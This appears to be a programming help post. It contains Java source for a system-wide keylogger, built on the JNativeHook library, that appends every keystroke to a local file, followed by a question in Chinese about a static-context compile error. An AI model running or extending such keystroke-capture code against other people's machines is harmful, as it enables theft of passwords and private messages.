import org.jnativehook.GlobalScreen;
import org.jnativehook.NativeHookException;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
import java.io.IOException;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
public class logger implements NativeKeyListener {
private static final Path file = Paths.get("keys.txt");
public static void main(String[] args){
try{
GlobalScreen.registerNativeHook();
} catch (NativeHookException nativeHookException){
System.exit(-1);
}
GlobalScreen.addNativeKeyListener(new logger());
}
public void nativeKeyPressed(NativeKeyEvent e) {
String keyText = NativeKeyEvent.getKeyText(e.getKeyCode());
try(OutputStream os = Files.newOutputStream(file, StandardOpenOption.CREATE,StandardOpenOption.WRITE, StandardOpenOption.APPEND)
; PrintWriter pw = new PrintWriter(os)){
if(keyText.length()>1) pw.print("[" + keyText + "]");
else pw.print(keyText);
}catch(IOException ex){
System.exit(-1);
}
}
public void nativeKeyReleased(NativeKeyEvent e){
}
public void nativeKeyTyped(NativeKeyEvent e){
}
}
这段代码有一个Non-static method 'addNativeKeyListener(org.jnativehook.keyboard.NativeKeyListener)' cannot be referenced from a static context
错误,这对我来说完全有意义,因为我检查了源代码并且 addNativeKeyListener 不是静态的。
该代码只是我从 Youtube 视频中复制的一个模板,而 Youtuber 的代码似乎可以正常工作。我还检查了其他示例,它们都能够调用 GlobalScreen.addNativeKeyListener(new class())- https://www.programcreek.com/java-api-examples/?api=org.jnativehook.GlobalScreen
我怎样才能解决这个问题?